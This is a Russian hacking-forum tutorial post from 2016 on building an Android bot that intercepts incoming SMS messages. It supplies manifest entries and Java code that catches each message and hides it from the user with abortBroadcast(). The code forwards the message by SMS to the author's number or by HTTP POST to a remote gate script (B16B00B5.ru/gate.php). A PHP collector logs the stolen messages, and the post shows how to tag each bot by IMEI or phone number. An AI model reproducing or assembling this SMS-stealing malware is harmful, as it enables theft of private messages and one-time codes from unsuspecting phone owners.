Уважаемые пользователи форума, убедительно просим вас переходить в телеграмм продавца, исключительно по предоставленной ссылке. Проверяйте продавца, отправив сообщение на электронную почту, чтобы убедиться в том, что вы общаетесь действительно с ним.

Пишем бота для перехвата смс под андроид (2015)

Тема в разделе "Хакинг. Программирование", создана пользователем WWW, 12 июл 2016.

  1. WWW

    WWW Moderator Модератор форума

    Сообщения:
    723
    Симпатии:
    1
    Всем привет!
    Сегодня мы разберёмся как работают боты для перехвата входящих смс под андроид(полного кода конечно же не будет, но будет объяснён принцип работы).

    Для этого сначала в файле манифеста необходимо зарегистрировать свой широковещательный приёмник:


    Code:
    <receiver android:name=.SMSReceiver>
    <intent-filter android:priority=100>
    <action android:name=android.provider.Telephony.SMS_RECEI VED />
    </intent-filter>
    </receiver>​

    приоритет равен 100 для того что бы наше приложения гарантированно первым получило входящее сообщение

    и задать нужные разрешения для получения входящих смс и отправки их нам на номер


    Code:
    <uses-permission android:name=android.permission.SMS_RECEIVED />
    <uses-permission android:name=android.permission.SEND_SMS />​

    После этого создадим свой класс который будет принимать все широковещательные запросы, фильтровать их на предмет входящего сообщения и отправлять его нам на номер:

    Code:
    public class SmsReceiver extends BroadcastReceiver {

    private static final String SMS_RECEIVED = android.provider.Telephony.SMS_RECEIVED;

    @Override
    public void onReceive(Context context, Intent intent) {
    if (intent.getAction().equals(SMS_RECEIVED)) { // Проверяем что пришло именно смс сообщение(константа android.provider.Telephony.SMS_RECEIVED)
    abortBroadcast(); // Прерываем широковещание для того что бы сообщение не увидел пользователь
    // Но как известно начиная с версии андроид 4.4.2 в наш приёмник попадает не само сообщение, а его копия(SMS_DELIVER_ACTION работает только для приложения по умолчанию для приёма сообщений)
    // Так что как скрыть его от пользователя на версиях аднроид >= 4.4.2 подумайте сами - есть как минимум два известных мне способа(которые не будут освещены в рамках данной статьи)

    Bundle bundle = intent.getExtras(); // Получаем все входящие данные
    if (bundle != null) { // И если не пустота

    Object[] pdus = (Object[]) bundle.get(pdus);
    if (pdus.length != 0) { // И длина не равна нулю

    // Вот тут собираем все части входящего сообщения воедино(если текст смс превышает 170 символов то оно разбивается на части, а нам же не нужна только какая то часть? нам нужно сообщение целиком)
    // В переменную типа StringBuilder(последовательность символов)
    SmsMessage[] messages = new SmsMessage[pdus.length];
    StringBuilder sb = new StringBuilder();
    for (int i = 0; i < pdus.length; i++) {
    messages = SmsMessage.createFromPdu((byte[]) pdus);
    sb.append(messages.getMessageBody());
    }

    String sender = messages[0].getOriginatingAddress(); // Получаем адрес отправителя
    String message = sb.toString(); // Преобразуем полученное сообщение из последовательности символов в строку

    SmsManager sms = SmsManager.getDefault();
    sms.sendTextMessage(1234567890, null, message, null, null); // И отправляем полученное сообщение нам на номер
    }
    }
    }
    }
    }

    Да, конечно отправлять перехваченные сообщения нам на номер удобно, но интереснее будет их слать на веб-гейт.
    Для этого зададим разрешение для использования интернета:


    Code:
    <uses-permission android:name=android.permission.INTERNET />​

    И создадим функцию которая будет отправлять данные используя протокол HTTP методом POST:

    Code:
    public void postData(String sender, String message) {
    HttpClient httpclient = new DefaultHttpClient(); // Создаём HttpClient
    HttpPost httppost = new HttpPost(http://B16B00B5.ru/gate.php); // Указываем адрес гейта

    try {
    // Добавляем данные для отправки на гейт
    List<NameValuePair> nameValuePairs = new ArrayList<NameValuePair>(2);
    nameValuePairs.add(new BasicNameValuePair(sender, sender));
    nameValuePairs.add(new BasicNameValuePair(message, message));
    httppost.setEntity(new UrlEncodedFormEntity(nameValuePairs));

    // Выполняем HTTP запрос методом POST
    HttpResponse response = httpclient.execute(httppost);

    // Ловим все возможные ошибки
    } catch (ClientProtocolException e) {
    // Как то обрабатываем ошибку протокола
    } catch (IOException e) {
    // Как то обрабатываем ошибку ввода/вывода
    }
    }​

    // p.s. не плохо бы было этой функцией возвращать какое то значение в случае удачной отправки и неудачной - это уже кому надо сам доделает.

    Ну и конечно же создадим скрипт gate.php который будет принимать данные от нашего приложения и писать их в файл:

    Code:
    <?php

    define(LOG_FILE_NAME, log.txt); // Зададим имя файла в который будем писать логи, не забудьте выставить права на файл что бы процесс веб-сервера смог писать в него
    // chown apache:apache log.txt
    // или грубый вариант - chmod 777 log.txt

    $sender = urldecode($_POST[sender]); // Получим отправителя и переведём его из интернет кодировки в человеко-понятный и читабельный вид
    $message = urldecode($_POST[message]); // Получим текст сообщения и переведём его из интернет кодировки в человеко-понятный и читабельный вид

    $log = Sender: + $sender +
    + Message: + $message +

    ; // Создадим формат лога


    file_put_contents(LOG_FILE_NAME, $log, FILE_APPEND); // Ну и запишем наш лог в файл(FILE_APPEND говорит что необходимо дозаписывать в файл)
    ?>​

    Вот как то так и работают боты которые перехватывают смс... но если внимательно прочитать всё выше написанное сразу возникает вопрос - а если ботов много то как определить от какого именно в логе сообщение?
    А вот так - достаточно как то идентифицировать бота(присвоить ему какой то идентификатор и передавать его на гейт вместе с остальными данными), в качестве идентификатора бота можно использовать
    например IMEI(IMEI для GSM или MEID для CDMA) аппарата:


    Code:
    String mID = android.telephony.TelephonyManager.getDeviceId()​

    или номер телефона:

    Code:
    TelephonyManager tMgr = (TelephonyManager)this.getSystemService(Context.TE LEPHONY_SERVICE);
    String mPhoneNumber = tMgr.getLine1Number(); // Не забудьте только проверить на null перед отправкой на гейт​

    p>

Поделиться этой страницей